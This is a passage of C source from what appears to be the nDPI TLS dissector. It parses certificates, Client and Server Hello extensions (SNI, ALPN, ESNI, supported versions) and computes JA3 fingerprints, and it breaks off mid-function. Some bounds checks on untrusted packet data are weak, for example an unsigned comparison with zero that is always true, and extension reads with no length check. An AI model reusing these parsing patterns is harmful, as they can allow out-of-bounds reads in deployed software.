cleanupServerName(dNSName, len); #if DEBUG_TLS printf("[TLS] dNSName %s [%s]\n", dNSName, flow->protos.stun_ssl.ssl.client_requested_server_name); #endif if(matched_name == 0) { if((dNSName[0] == '*') && strstr(flow->protos.stun_ssl.ssl.client_requested_server_name, &dNSName[1])) matched_name = 1; else if(strcmp(flow->protos.stun_ssl.ssl.client_requested_server_name, dNSName) == 0) matched_name = 1; } if(flow->protos.stun_ssl.ssl.server_names == NULL) flow->protos.stun_ssl.ssl.server_names = ndpi_strdup(dNSName), flow->protos.stun_ssl.ssl.server_names_len = strlen(dNSName); else { u_int16_t dNSName_len = strlen(dNSName); u_int16_t newstr_len = flow->protos.stun_ssl.ssl.server_names_len + dNSName_len + 1; char *newstr = (char*)ndpi_realloc(flow->protos.stun_ssl.ssl.server_names, flow->protos.stun_ssl.ssl.server_names_len+1, newstr_len+1); if(newstr) { flow->protos.stun_ssl.ssl.server_names = newstr; flow->protos.stun_ssl.ssl.server_names[flow->protos.stun_ssl.ssl.server_names_len] = ','; strncpy(&flow->protos.stun_ssl.ssl.server_names[flow->protos.stun_ssl.ssl.server_names_len+1], dNSName, dNSName_len+1); flow->protos.stun_ssl.ssl.server_names[newstr_len] = '\0'; flow->protos.stun_ssl.ssl.server_names_len = newstr_len; } } if(!flow->l4.tcp.tls.subprotocol_detected) if(ndpi_match_hostname_protocol(ndpi_struct, flow, NDPI_PROTOCOL_TLS, dNSName, len)) flow->l4.tcp.tls.subprotocol_detected = 1; i += len; } else { #if DEBUG_TLS printf("[TLS] Leftover %u bytes", packet->payload_packet_len - i); #endif break; } } else { break; } } /* while */ if(!matched_name) NDPI_SET_BIT(flow->risk, NDPI_TLS_CERTIFICATE_MISMATCH); /* Certificate mismatch */ } } } } } if(rdn_len) flow->protos.stun_ssl.ssl.subjectDN = ndpi_strdup(rdnSeqBuf); if(flow->protos.stun_ssl.ssl.subjectDN && flow->protos.stun_ssl.ssl.issuerDN && (!strcmp(flow->protos.stun_ssl.ssl.subjectDN, flow->protos.stun_ssl.ssl.issuerDN))) NDPI_SET_BIT(flow->risk, NDPI_TLS_SELFSIGNED_CERTIFICATE); #if DEBUG_TLS printf("[TLS] %s() SubjectDN [%s]\n", __FUNCTION__, rdnSeqBuf); #endif } /* **************************************** */ /* See https://blog.catchpoint.com/2017/05/12/dissecting-tls-using-wireshark/ */ int processCertificate(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; u_int32_t certificates_length, length = (packet->payload[1] << 16) + (packet->payload[2] << 8) + packet->payload[3]; u_int16_t certificates_offset = 7; u_int8_t num_certificates_found = 0; #ifdef DEBUG_TLS printf("[TLS] %s() [payload_packet_len=%u][direction: %u][%02X %02X %02X %02X %02X %02X...]\n", __FUNCTION__, packet->payload_packet_len, packet->packet_direction, packet->payload[0], packet->payload[1], packet->payload[2], packet->payload[3], packet->payload[4], packet->payload[5]); #endif if((packet->payload_packet_len != (length + 4)) || (packet->payload[1] != 0x0)) return(-1); /* Invalid length */ certificates_length = (packet->payload[4] << 16) + (packet->payload[5] << 8) + packet->payload[6]; if((packet->payload[4] != 0x0) || ((certificates_length+3) != length)) return(-2); /* Invalid length */ if(!flow->l4.tcp.tls.srv_cert_fingerprint_ctx) { if((flow->l4.tcp.tls.srv_cert_fingerprint_ctx = (void*)ndpi_malloc(sizeof(SHA1_CTX))) == NULL) return(-3); /* Not enough memory */ } /* Now let's process each individual certificates */ while(certificates_offset < certificates_length) { u_int32_t certificate_len = (packet->payload[certificates_offset] << 16) + (packet->payload[certificates_offset+1] << 8) + packet->payload[certificates_offset+2]; /* Invalid lenght */ if((certificate_len == 0) || (packet->payload[certificates_offset] != 0x0) || ((certificates_offset+certificate_len) > (4+certificates_length))) { #ifdef DEBUG_TLS printf("[TLS] Invalid length [certificate_len: %u][certificates_offset: %u][%u vs %u]\n", certificate_len, certificates_offset, (certificates_offset+certificate_len), certificates_length); #endif break; } certificates_offset += 3; #ifdef DEBUG_TLS printf("[TLS] Processing %u bytes certificate [%02X %02X %02X]\n", certificate_len, packet->payload[certificates_offset], packet->payload[certificates_offset+1], packet->payload[certificates_offset+2]); #endif if(num_certificates_found++ == 0) /* Dissect only the first certificate that is the one we care */ { /* For SHA-1 we take into account only the first certificate and not all of them */ SHA1Init(flow->l4.tcp.tls.srv_cert_fingerprint_ctx); #ifdef DEBUG_CERTIFICATE_HASH { int i; for(i=0;i<certificate_len;i++) printf("%02X ", packet->payload[certificates_offset+i]); printf("\n"); } #endif SHA1Update(flow->l4.tcp.tls.srv_cert_fingerprint_ctx, &packet->payload[certificates_offset], certificate_len); SHA1Final(flow->l4.tcp.tls.sha1_certificate_fingerprint, flow->l4.tcp.tls.srv_cert_fingerprint_ctx); flow->l4.tcp.tls.fingerprint_set = 1; #ifdef DEBUG_TLS { int i; printf("[TLS] SHA-1: "); for(i=0;i<20;i++) printf("%s%02X", (i > 0) ? ":" : "", flow->l4.tcp.tls.sha1_certificate_fingerprint[i]); printf("\n"); } #endif processCertificateElements(ndpi_struct, flow, certificates_offset, certificate_len); } certificates_offset += certificate_len; } flow->extra_packets_func = NULL; /* We're good now */ return(1); } /* **************************************** */ static int processTLSBlock(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; switch(packet->payload[0] /* block type */) { case 0x01: /* Client Hello */ case 0x02: /* Server Hello */ processClientServerHello(ndpi_struct, flow); flow->l4.tcp.tls.hello_processed = 1; ndpi_int_tls_add_connection(ndpi_struct, flow, NDPI_PROTOCOL_TLS); break; case 0x0b: /* Certificate */ /* Important: populate the tls union fields only after * ndpi_int_tls_add_connection has been called */ if(flow->l4.tcp.tls.hello_processed) { processCertificate(ndpi_struct, flow); flow->l4.tcp.tls.certificate_processed = 1; } break; default: return(-1); } return(0); } /* **************************************** */ static int ndpi_search_tls_tcp(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; u_int8_t something_went_wrong = 0; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] ndpi_search_tls_tcp() [payload_packet_len: %u]\n", packet->payload_packet_len); #endif if(packet->payload_packet_len == 0) return(1); /* Keep working */ ndpi_search_tls_tcp_memory(ndpi_struct, flow); while(!something_went_wrong) { u_int16_t len, p_len; const u_int8_t *p; if(flow->l4.tcp.tls.message.buffer_used < 5) return(1); /* Keep working */ len = (flow->l4.tcp.tls.message.buffer[3] << 8) + flow->l4.tcp.tls.message.buffer[4] + 5; if(len > flow->l4.tcp.tls.message.buffer_used) { #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Not enough TLS data [%u < %u][%02X %02X %02X %02X %02X]\n", len, flow->l4.tcp.tls.message.buffer_used, flow->l4.tcp.tls.message.buffer[0], flow->l4.tcp.tls.message.buffer[1], flow->l4.tcp.tls.message.buffer[2], flow->l4.tcp.tls.message.buffer[3], flow->l4.tcp.tls.message.buffer[4]); #endif break; } if(len == 0) { something_went_wrong = 1; break; } #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Processing %u bytes message\n", len); #endif /* Overwriting packet payload */ p = packet->payload, p_len = packet->payload_packet_len; /* Backup */ /* Split the element in blocks */ u_int16_t processed = 5; while((processed+4) < len) { const u_int8_t *block = (const u_int8_t *)&flow->l4.tcp.tls.message.buffer[processed]; u_int32_t block_len = (block[1] << 16) + (block[2] << 8) + block[3]; if((block_len == 0) || (block_len > len) || ((block[1] != 0x0))) { something_went_wrong = 1; break; } packet->payload = block, packet->payload_packet_len = ndpi_min(block_len+4, flow->l4.tcp.tls.message.buffer_used); if((processed+packet->payload_packet_len) > len) { something_went_wrong = 1; break; } #ifdef DEBUG_TLS_MEMORY printf("*** [TLS Mem] Processing %u bytes block [%02X %02X %02X %02X %02X]\n", packet->payload_packet_len, packet->payload[0], packet->payload[1], packet->payload[2], packet->payload[3], packet->payload[4]); #endif processTLSBlock(ndpi_struct, flow); processed += packet->payload_packet_len; } packet->payload = p, packet->payload_packet_len = p_len; /* Restore */ flow->l4.tcp.tls.message.buffer_used -= len; if(flow->l4.tcp.tls.message.buffer_used > 0) memmove(flow->l4.tcp.tls.message.buffer, &flow->l4.tcp.tls.message.buffer[len], flow->l4.tcp.tls.message.buffer_used); else break; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Left memory buffer %u bytes\n", flow->l4.tcp.tls.message.buffer_used); #endif } if(something_went_wrong) { flow->check_extra_packets = 0, flow->extra_packets_func = NULL; return(0); /* That's all */ } else return(1); } /* **************************************** */ static int ndpi_search_tls_udp(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; // u_int8_t handshake_type; u_int32_t handshake_len; u_int16_t p_len; const u_int8_t *p; #ifdef DEBUG_TLS printf("[TLS] %s()\n", __FUNCTION__); #endif /* Consider only specific SSL packets (handshake) */ if((packet->payload_packet_len < 17) || (packet->payload[0] != 0x16) || (packet->payload[1] != 0xfe) /* We ignore old DTLS versions */ || ((packet->payload[2] != 0xff) && (packet->payload[2] != 0xfd)) || ((ntohs(*((u_int16_t*)&packet->payload[11]))+13) != packet->payload_packet_len) ) { no_dtls: #ifdef DEBUG_TLS printf("[TLS] No DTLS found\n"); #endif NDPI_EXCLUDE_PROTO(ndpi_struct, flow); return(0); /* Giveup */ } // handshake_type = packet->payload[13]; handshake_len = (packet->payload[14] << 16) + (packet->payload[15] << 8) + packet->payload[16]; if((handshake_len+25) != packet->payload_packet_len) goto no_dtls; /* Overwriting packet payload */ p = packet->payload, p_len = packet->payload_packet_len; /* Backup */ packet->payload = &packet->payload[13], packet->payload_packet_len -= 13; processTLSBlock(ndpi_struct, flow); packet->payload = p, packet->payload_packet_len = p_len; /* Restore */ ndpi_int_tls_add_connection(ndpi_struct, flow, NDPI_PROTOCOL_TLS); return(1); /* Keep working */ } /* **************************************** */ static void tlsInitExtraPacketProcessing(struct ndpi_flow_struct *flow) { flow->check_extra_packets = 1; /* At most 12 packets should almost always be enough to find the server certificate if it's there */ flow->max_extra_packets_to_check = 12; flow->extra_packets_func = (flow->packet.udp != NULL) ? ndpi_search_tls_udp : ndpi_search_tls_tcp; } /* **************************************** */ static void ndpi_int_tls_add_connection(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol) { #if DEBUG_TLS printf("[TLS] %s()\n", __FUNCTION__); #endif if((flow->detected_protocol_stack[0] == protocol) || (flow->detected_protocol_stack[1] == protocol)) { if(!flow->check_extra_packets) tlsInitExtraPacketProcessing(flow); return; } if(protocol != NDPI_PROTOCOL_TLS) ; else protocol = ndpi_tls_refine_master_protocol(ndpi_struct, flow, protocol); ndpi_set_detected_protocol(ndpi_struct, flow, protocol, NDPI_PROTOCOL_TLS); tlsInitExtraPacketProcessing(flow); } /* **************************************** */ /* https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967 */ #define JA3_STR_LEN 1024 #define MAX_NUM_JA3 128 struct ja3_info { u_int16_t tls_handshake_version; u_int16_t num_cipher, cipher[MAX_NUM_JA3]; u_int16_t num_tls_extension, tls_extension[MAX_NUM_JA3]; u_int16_t num_elliptic_curve, elliptic_curve[MAX_NUM_JA3]; u_int8_t num_elliptic_curve_point_format, elliptic_curve_point_format[MAX_NUM_JA3]; }; /* **************************************** */ int processClientServerHello(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; struct ja3_info ja3; u_int8_t invalid_ja3 = 0; u_int16_t tls_version, ja3_str_len; char ja3_str[JA3_STR_LEN]; ndpi_MD5_CTX ctx; u_char md5_hash[16]; int i; u_int16_t total_len; u_int8_t handshake_type; char buffer[64] = { '\0' }; #ifdef DEBUG_TLS printf("SSL %s() called\n", __FUNCTION__); #endif memset(&ja3, 0, sizeof(ja3)); handshake_type = packet->payload[0]; total_len = (packet->payload[1] << 16) + (packet->payload[2] << 8) + packet->payload[3]; if((total_len > packet->payload_packet_len) || (packet->payload[1] != 0x0)) return(0); /* Not found */ total_len = packet->payload_packet_len; /* At least "magic" 3 bytes, null for string end, otherwise no need to waste cpu cycles */ if(total_len > 4) { u_int16_t base_offset = packet->tcp ? 38 : 46; u_int16_t version_offset = packet->tcp ? 4 : 12; u_int16_t offset = packet->tcp ? 38 : 46, extension_len, j; u_int8_t session_id_len = 0; if (base_offset < total_len) session_id_len = packet->payload[base_offset]; #ifdef DEBUG_TLS printf("SSL [len: %u][handshake_type: %02X]\n", packet->payload_packet_len, handshake_type); #endif tls_version = ntohs(*((u_int16_t*)&packet->payload[version_offset])); flow->protos.stun_ssl.ssl.ssl_version = ja3.tls_handshake_version = tls_version; if(flow->protos.stun_ssl.ssl.ssl_version < 0x0302) /* TLSv1.1 */ NDPI_SET_BIT(flow->risk, NDPI_TLS_OBSOLETE_VERSION); if(handshake_type == 0x02 /* Server Hello */) { int i, rc; #ifdef DEBUG_TLS printf("SSL Server Hello [version: 0x%04X]\n", tls_version); #endif /* The server hello decides about the SSL version of this flow https://networkengineering.stackexchange.com/questions/55752/why-does-wireshark-show-version-tls-1-2-here-instead-of-tls-1-3 */ if(packet->udp) offset += 1; else { if(tls_version < 0x7F15 /* TLS 1.3 lacks of session id */) offset += session_id_len+1; } if((offset+3) > packet->payload_packet_len) return(0); /* Not found */ ja3.num_cipher = 1, ja3.cipher[0] = ntohs(*((u_int16_t*)&packet->payload[offset])); if((flow->protos.stun_ssl.ssl.server_unsafe_cipher = ndpi_is_safe_ssl_cipher(ja3.cipher[0])) == 1) NDPI_SET_BIT(flow->risk, NDPI_TLS_WEAK_CIPHER); flow->protos.stun_ssl.ssl.server_cipher = ja3.cipher[0]; #ifdef DEBUG_TLS printf("TLS [server][session_id_len: %u][cipher: %04X]\n", session_id_len, ja3.cipher[0]); #endif offset += 2 + 1; if((offset + 1) < packet->payload_packet_len) /* +1 because we are goint to read 2 bytes */ extension_len = ntohs(*((u_int16_t*)&packet->payload[offset])); else extension_len = 0; #ifdef DEBUG_TLS printf("TLS [server][extension_len: %u]\n", extension_len); #endif offset += 2; for(i=0; i<extension_len; ) { u_int16_t extension_id, extension_len; if(offset >= (packet->payload_packet_len+4)) break; extension_id = ntohs(*((u_int16_t*)&packet->payload[offset])); extension_len = ntohs(*((u_int16_t*)&packet->payload[offset+2])); if(ja3.num_tls_extension < MAX_NUM_JA3) ja3.tls_extension[ja3.num_tls_extension++] = extension_id; #ifdef DEBUG_TLS printf("TLS [server][extension_id: %u/0x%04X][len: %u]\n", extension_id, extension_id, extension_len); #endif if(extension_id == 43 /* supported versions */) { if(extension_len >= 2) { u_int16_t tls_version = ntohs(*((u_int16_t*)&packet->payload[offset+4])); #ifdef DEBUG_TLS printf("TLS [server] [TLS version: 0x%04X]\n", tls_version); #endif flow->protos.stun_ssl.ssl.ssl_version = tls_version; } } i += 4 + extension_len, offset += 4 + extension_len; } ja3_str_len = snprintf(ja3_str, sizeof(ja3_str), "%u,", ja3.tls_handshake_version); for(i=0; i<ja3.num_cipher; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.cipher[i]); if(rc <= 0) break; else ja3_str_len += rc; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_tls_extension; i++) { int rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.tls_extension[i]); if(rc <= 0) break; else ja3_str_len += rc; } #ifdef DEBUG_TLS printf("TLS [server] %s\n", ja3_str); #endif #ifdef DEBUG_TLS printf("[JA3] Server: %s \n", ja3_str); #endif ndpi_MD5Init(&ctx); ndpi_MD5Update(&ctx, (const unsigned char *)ja3_str, strlen(ja3_str)); ndpi_MD5Final(md5_hash, &ctx); for(i=0, j=0; i<16; i++) { int rc = snprintf(&flow->protos.stun_ssl.ssl.ja3_server[j], sizeof(flow->protos.stun_ssl.ssl.ja3_server)-j, "%02x", md5_hash[i]); if(rc <= 0) break; else j += rc; } #ifdef DEBUG_TLS printf("[JA3] Server: %s \n", flow->protos.stun_ssl.ssl.ja3_server); #endif } else if(handshake_type == 0x01 /* Client Hello */) { u_int16_t cipher_len, cipher_offset; if((session_id_len+base_offset+3) > packet->payload_packet_len) return(0); /* Not found */ if(packet->tcp) { cipher_len = packet->payload[session_id_len+base_offset+2] + (packet->payload[session_id_len+base_offset+1] << 8); cipher_offset = base_offset + session_id_len + 3; } else { cipher_len = ntohs(*((u_int16_t*)&packet->payload[base_offset+2])); cipher_offset = base_offset+4; } #ifdef DEBUG_TLS printf("Client SSL [client cipher_len: %u][tls_version: 0x%04X]\n", cipher_len, tls_version); #endif if((cipher_offset+cipher_len) <= total_len) { for(i=0; i<cipher_len;) { u_int16_t *id = (u_int16_t*)&packet->payload[cipher_offset+i]; #ifdef DEBUG_TLS printf("Client SSL [cipher suite: %u/0x%04X] [%d/%u]\n", ntohs(*id), ntohs(*id), i, cipher_len); #endif if((*id == 0) || (packet->payload[cipher_offset+i] != packet->payload[cipher_offset+i+1])) { /* Skip GREASE [https://tools.ietf.org/id/draft-ietf-tls-grease-01.html] https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967 */ if(ja3.num_cipher < MAX_NUM_JA3) ja3.cipher[ja3.num_cipher++] = ntohs(*id); else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid cipher %u\n", ja3.num_cipher); #endif } } i += 2; } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", (cipher_offset+cipher_len), total_len); #endif } offset = base_offset + session_id_len + cipher_len + 2; if(offset < total_len) { u_int16_t compression_len; u_int16_t extensions_len; offset += packet->tcp ? 1 : 2; compression_len = packet->payload[offset]; offset++; #ifdef DEBUG_TLS printf("Client SSL [compression_len: %u]\n", compression_len); #endif // offset += compression_len + 3; offset += compression_len; if(offset < total_len) { extensions_len = ntohs(*((u_int16_t*)&packet->payload[offset])); offset += 2; #ifdef DEBUG_TLS printf("Client SSL [extensions_len: %u]\n", extensions_len); #endif if((extensions_len+offset) <= total_len) { /* Move to the first extension Type is u_int to avoid possible overflow on extension_len addition */ u_int extension_offset = 0; u_int32_t j; while(extension_offset < extensions_len) { u_int16_t extension_id, extension_len, extn_off = offset+extension_offset; extension_id = ntohs(*((u_int16_t*)&packet->payload[offset+extension_offset])); extension_offset += 2; extension_len = ntohs(*((u_int16_t*)&packet->payload[offset+extension_offset])); extension_offset += 2; #ifdef DEBUG_TLS printf("Client SSL [extension_id: %u][extension_len: %u]\n", extension_id, extension_len); #endif if((extension_id == 0) || (packet->payload[extn_off] != packet->payload[extn_off+1])) { /* Skip GREASE */ if(ja3.num_tls_extension < MAX_NUM_JA3) ja3.tls_extension[ja3.num_tls_extension++] = extension_id; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid extensions %u\n", ja3.num_tls_extension); #endif } } if(extension_id == 0 /* server name */) { u_int16_t len; #ifdef DEBUG_TLS printf("[TLS] Extensions: found server name\n"); #endif len = (packet->payload[offset+extension_offset+3] << 8) + packet->payload[offset+extension_offset+4]; len = (u_int)ndpi_min(len, sizeof(buffer)-1); if((offset+extension_offset+5+len) <= packet->payload_packet_len) { strncpy(buffer, (char*)&packet->payload[offset+extension_offset+5], len); buffer[len] = '\0'; cleanupServerName(buffer, sizeof(buffer)); snprintf(flow->protos.stun_ssl.ssl.client_requested_server_name, sizeof(flow->protos.stun_ssl.ssl.client_requested_server_name), "%s", buffer); if(ndpi_match_hostname_protocol(ndpi_struct, flow, NDPI_PROTOCOL_TLS, buffer, strlen(buffer))) flow->l4.tcp.tls.subprotocol_detected = 1; ndpi_check_dga_name(ndpi_struct, flow, flow->protos.stun_ssl.ssl.client_requested_server_name); } else { #ifdef DEBUG_TLS printf("[TLS] Extensions server len too short: %u vs %u\n", offset+extension_offset+5+len, packet->payload_packet_len); #endif } } else if(extension_id == 10 /* supported groups */) { u_int16_t s_offset = offset+extension_offset + 2; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveGroups: len=%u]\n", extension_len); #endif if((s_offset+extension_len-2) <= total_len) { for(i=0; i<extension_len-2;) { u_int16_t s_group = ntohs(*((u_int16_t*)&packet->payload[s_offset+i])); #ifdef DEBUG_TLS printf("Client SSL [EllipticCurve: %u/0x%04X]\n", s_group, s_group); #endif if((s_group == 0) || (packet->payload[s_offset+i] != packet->payload[s_offset+i+1])) { /* Skip GREASE */ if(ja3.num_elliptic_curve < MAX_NUM_JA3) ja3.elliptic_curve[ja3.num_elliptic_curve++] = s_group; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid num elliptic %u\n", ja3.num_elliptic_curve); #endif } } i += 2; } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", (s_offset+extension_len-1), total_len); #endif } } else if(extension_id == 11 /* ec_point_formats groups */) { u_int16_t s_offset = offset+extension_offset + 1; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveFormat: len=%u]\n", extension_len); #endif if((s_offset+extension_len) < total_len) { for(i=0; i<extension_len-1;i++) { u_int8_t s_group = packet->payload[s_offset+i]; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveFormat: %u]\n", s_group); #endif if(ja3.num_elliptic_curve_point_format < MAX_NUM_JA3) ja3.elliptic_curve_point_format[ja3.num_elliptic_curve_point_format++] = s_group; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid num elliptic %u\n", ja3.num_elliptic_curve_point_format); #endif } } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", s_offset+extension_len, total_len); #endif } } else if(extension_id == 16 /* application_layer_protocol_negotiation */) { u_int16_t s_offset = offset+extension_offset; u_int16_t tot_alpn_len = ntohs(*((u_int16_t*)&packet->payload[s_offset])); char alpn_str[256]; u_int8_t alpn_str_len = 0; #ifdef DEBUG_TLS printf("Client SSL [ALPN: block_len=%u/len=%u]\n", extension_len, tot_alpn_len); #endif s_offset += 2; tot_alpn_len += s_offset; while(s_offset < tot_alpn_len && s_offset < total_len) { u_int8_t alpn_i, alpn_len = packet->payload[s_offset++]; if((s_offset + alpn_len) <= tot_alpn_len) { #ifdef DEBUG_TLS printf("Client SSL [ALPN: %u]\n", alpn_len); #endif if((alpn_str_len+alpn_len+1) < sizeof(alpn_str)) { if(alpn_str_len > 0) { alpn_str[alpn_str_len] = ','; alpn_str_len++; } for(alpn_i=0; alpn_i<alpn_len; alpn_i++) alpn_str[alpn_str_len+alpn_i] = packet->payload[s_offset+alpn_i]; s_offset += alpn_len, alpn_str_len += alpn_len;; } else break; } else break; } /* while */ alpn_str[alpn_str_len] = '\0'; #ifdef DEBUG_TLS printf("Client SSL [ALPN: %s][len: %u]\n", alpn_str, alpn_str_len); #endif if(flow->protos.stun_ssl.ssl.alpn == NULL) flow->protos.stun_ssl.ssl.alpn = ndpi_strdup(alpn_str); } else if(extension_id == 43 /* supported versions */) { u_int16_t s_offset = offset+extension_offset; u_int8_t version_len = packet->payload[s_offset]; char version_str[256]; u_int8_t version_str_len = 0; version_str[0] = 0; #ifdef DEBUG_TLS printf("Client SSL [TLS version len: %u]\n", version_len); #endif if(version_len == (extension_len-1)) { u_int8_t j; s_offset++; // careful not to overflow and loop forever with u_int8_t for(j=0; j+1<version_len; j += 2) { u_int16_t tls_version = ntohs(*((u_int16_t*)&packet->payload[s_offset+j])); u_int8_t unknown_tls_version; #ifdef DEBUG_TLS printf("Client SSL [TLS version: %s/0x%04X]\n", ndpi_ssl_version2str(tls_version, &unknown_tls_version), tls_version); #endif if((version_str_len+8) < sizeof(version_str)) { int rc = snprintf(&version_str[version_str_len], sizeof(version_str) - version_str_len, "%s%s", (version_str_len > 0) ? "," : "", ndpi_ssl_version2str(tls_version, &unknown_tls_version)); if(rc <= 0) break; else version_str_len += rc; } } if(flow->protos.stun_ssl.ssl.tls_supported_versions == NULL) flow->protos.stun_ssl.ssl.tls_supported_versions = ndpi_strdup(version_str); } } else if(extension_id == 65486 /* encrypted server name */) { /* - https://tools.ietf.org/html/draft-ietf-tls-esni-06 - https://blog.cloudflare.com/encrypted-sni/ */ u_int16_t e_offset = offset+extension_offset; u_int16_t initial_offset = e_offset; u_int16_t e_sni_len, cipher_suite = ntohs(*((u_int16_t*)&packet->payload[e_offset])); flow->protos.stun_ssl.ssl.encrypted_sni.cipher_suite = cipher_suite; e_offset += 2; /* Cipher suite len */ /* Key Share Entry */ e_offset += 2; /* Group */ e_offset += ntohs(*((u_int16_t*)&packet->payload[e_offset])) + 2; /* Lenght */ if((e_offset+4) < packet->payload_packet_len) { /* Record Digest */ e_offset += ntohs(*((u_int16_t*)&packet->payload[e_offset])) + 2; /* Lenght */ if((e_offset+4) < packet->payload_packet_len) { e_sni_len = ntohs(*((u_int16_t*)&packet->payload[e_offset])); e_offset += 2; if((e_offset+e_sni_len-extension_len-initial_offset) >= 0) { #ifdef DEBUG_ENCRYPTED_SNI printf("Client SSL [Encrypted Server Name len: %u]\n", e_sni_len); #endif if(flow->protos.stun_ssl.ssl.encrypted_sni.esni == NULL) { flow->protos.stun_ssl.ssl.encrypted_sni.esni = (char*)ndpi_malloc(e_sni_len*2+1); if(flow->protos.stun_ssl.ssl.encrypted_sni.esni) { u_int16_t i, off; for(i=e_offset, off=0; i<(e_offset+e_sni_len); i++) { int rc = sprintf(&flow->protos.stun_ssl.ssl.encrypted_sni.esni[off], "%02X", packet->payload[i] & 0XFF); if(rc <= 0) { flow->protos.stun_ssl.ssl.encrypted_sni.esni[off] = '\0'; break; } else off += rc; } } } } } } } extension_offset += extension_len; /* Move to the next extension */ #ifdef DEBUG_TLS printf("Client SSL [extension_offset/len: %u/%u]\n", extension_offset, extension_len); #endif } /* while */ if(!invalid_ja3) { int rc; compute_ja3c: ja3_str_len = snprintf(ja3_str, sizeof(ja3_str), "%u,", ja3.tls_handshake_version); for(i=0; i<ja3.num_cipher; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.cipher[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_tls_extension; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.tls_extension[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_elliptic_curve; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.elliptic_curve[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; for(i=0; i<ja3.num_elliptic_curve_point_format; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.elliptic_curve_point_format[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } #ifdef DEBUG_TLS printf("[JA3] Client: %s \n", ja3_str); #endif ndpi_MD5Init(&ctx); ndpi_MD5Update(&ctx, (const unsigned char *)ja3_str, strlen(ja3_str)); ndpi_MD5Final(md5_hash, &ctx); for(i=0, j=0; i<16; i++) { rc = snprintf(&flow->protos.stun_ssl.ssl.ja3_client[j], sizeof(flow->protos.stun_ssl.ssl.ja3_client)-j, "%02x", md5_hash[i]); if(rc > 0) j += rc; else break; } #ifdef DEBUG_TLS printf("[JA3] Client: %s \n", flow->protos.stun_ssl.ssl.ja3_client); #endif } /* Before returning to the caller we need to make a final check */ if((flow->protos.stun_ssl.ssl.ssl_version >= 0x0303) /* >= TLSv1.2 */ && (flow->protos.stun_ssl.ssl.alpn == NULL) /* No ALPN */) { NDPI_SET_BIT(flow->risk, NDPI_TLS_NOT_CARRYING_HTTPS); } return(2 /* Client Certificate */); } else { #ifdef DEBUG_TLS printf("[TLS] Client: too short [%u vs %u]\n", (extensions_len+offset), total_len); #endif } } else if(offset == total_len) { /* SSL does not have extensions etc */ goto compute_ja3c; } } else { #ifdef DEBUG_TLS printf("[JA3] Client: invalid length detected\n"); #endif } } } return(0); /* Not found */ } /* **************************************** */ static void ndpi_search_tls_wrapper(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; #ifdef DEBUG_TLS printf("==>> %s() %u [len: %u][version: %u]\n", __FUNCTION__, flow->guessed_host_protocol_id, packet->payload_packet_len, flow->protos.stun_ssl.ssl.ssl_version); #endif if(packet->udp != NULL) ndpi_search_tls_udp(ndpi_struct, 